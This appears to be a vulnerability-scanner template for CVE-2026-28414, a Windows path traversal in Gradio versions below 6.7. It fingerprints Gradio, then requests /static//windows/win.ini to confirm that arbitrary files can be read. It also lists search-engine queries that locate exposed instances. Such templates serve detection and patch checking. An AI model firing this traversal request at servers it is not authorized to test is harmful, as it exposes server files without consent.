id: CVE-2026-28414 info: name: Gradio - Absolute Path Traversal author: 0x_Akoko severity: high description: | Gradio < 6.7 on Windows with Python 3.13+ contains an absolute path traversal caused by incorrect path validation in path joining logic, letting unauthenticated attackers read arbitrary files from the server. impact: | Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information. remediation: | Upgrade to version 6.7 or later. reference: - https://github.com/gradio-app/gradio/security/advisories/GHSA-39mp-8hj3-5c49 - https://nvd.nist.gov/vuln/detail/CVE-2026-28414 classification: cve-id: CVE-2026-28414 epss-score: 0.04212 epss-percentile: 0.88933 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cwe-id: CWE-36 metadata: verified: true max-request: 2 vendor: gradio-app product: gradio shodan-query: 'http.title:"Gradio"' fofa-query: 'title="Gradio" || body="gradio-app"' tags: cve,cve2026,gradio,lfi,traversal,unauth,windows,vkev flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} Accept: text/html matchers: - type: dsl internal: true dsl: - 'status_code == 200' - 'contains_all(to_lower(body), "window.gradio_config", "__gradio_mode__")' condition: and - raw: - | GET /static//windows/win.ini HTTP/1.1 Host: {{Hostname}} Accept: */* matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "text/plain")' - 'contains_all(to_lower(body), "[fonts]", "[extensions]")' condition: and # digest: 490a00463044022071af7a21d73ece22ae8438527d5599caafad666a8ec910784af43de349d4ae51022010bb1549869ef6b4af318c5d853f1d86b808e6046e668162db98291da81f2ad6:922c64590222798bb761d5b6d8e72950